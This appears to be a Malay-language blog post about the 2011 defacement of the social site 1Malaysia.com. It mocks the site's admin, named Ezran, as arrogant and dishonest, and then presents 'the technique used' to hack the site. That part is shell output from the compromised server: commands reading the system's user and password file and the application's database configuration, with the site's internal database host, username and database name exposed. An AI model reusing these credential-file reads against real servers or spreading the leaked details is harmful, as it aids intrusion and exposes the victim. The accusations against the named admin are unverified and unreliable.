Tidak sampai sebulan 1Malaysia.com, kini laman tersebut telah pun digodam, sekaligus memperlihatkan kelemahan sekuriti laman sosial tersebut yang kian meningkat namanya itu akhir-akhir ini, selain diperkatakan oleh media cetak sebagai peganti Facebook.
Pada halaman yang digodam itu, ianya ditulis “Not Secure, Nothing Smart.(y) Stupid Admin”. Buat masa ini, halaman 1Malaysia.com tidak boleh diakses oleh sesiapa, dan masih tiada sebarang pengumuman rasmi daripada pihak mereka buat masa ini.
Perenggan di atas dipetik dari amanz.my
Buatan sendiri? Excuse me? buatan http://socialengine.net yew? Ezran ni bukan saja sombong, malah sanggup menipu seluruh rakyat malaysia dengan mengatakan 1Malaysia.com dia sendiri buat. Hakikatnya Socialengine yang punya~ (if i not mistaken, dia ada cakap, dia buat ni sejak tahun 2008) suka menipu..sombong..kat forum 1malaysia pun tak pernah nak jenguk. penat ja aku comment2.
Beberapa minggu lepas, attitude admin 1malaysia.com yang bongkak! Siapa Sucker tu?
Pengajaran yang kita dapat : Jangan terlalu bongkak dan sombong. Bila orang da benci memang busuk nama. Bukan orang malaysia ja tak suka. Orang indon pun ikut tak suka.
Berikut adalah teknik yang digunakan untuk hack 1malaysia.com.
Operating sistem : Linux
Method : Hijacking
Method : Hijacking
~# uname -a; id
Code:
Linux server01.1malaysia.com 2.6.18-194.32.1.el5PAE #1 SMP Wed Jan 5 18:43:13 EST 2011 i686
uid=48(apache) gid=48(apache) groups=48(apache)~# cat /etc/passwd
Code:
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
oprofile:x:16:16:Special user account to be used by OProfile:/home/oprofile:/sbin/nologin
pcap:x:77:77::/var/arpwatch:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
avahi:x:70:70:Avahi daemon:/:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
named:x:25:25:Named:/var/named:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
avahi-autoipd:x:100:104:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin
xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin
sabayon:x:86:86:Sabayon user:/home/sabayon:/sbin/nologin
isupport:x:500:500::/home/isupport:/bin/bash
diradmin:x:101:105::/usr/local/directadmin:/bin/false
mysql:x:102:106:MySQL server:/var/lib/mysql:/bin/false
webapps:x:501:501::/var/www/html:/bin/false
majordomo:x:103:2::/etc/virtual/majordomo:/bin/false
dovecot:x:104:107::/home/dovecot:/bin/false
admin:x:502:502::/home/admin:/bin/bash
lsadm:x:105:503::/:/sbin/nologin
memcached:x:503:504::/home/memcached:/bin/bash~# cat /home/admin/domains/1malaysia.com/public_html/application/settings/database.php
Code:
<?php defined('_ENGINE') or die('Access Denied'); return array (
'adapter' => 'mysqli',
'params' =>
array (
'host' => '192.168.168.12',
'username' => 'admin_forbes',
'password' => '****************************************',
'dbname' => 'admin_forbes',
'charset' => 'UTF8',
'adapterNamespace' => 'Zend_Db_Adapter',
),
'isDefaultTableAdapter' => true,
'tablePrefix' => 'engine4_',
'tableAdapterClass' => 'Engine_Db_Table',
); ? 
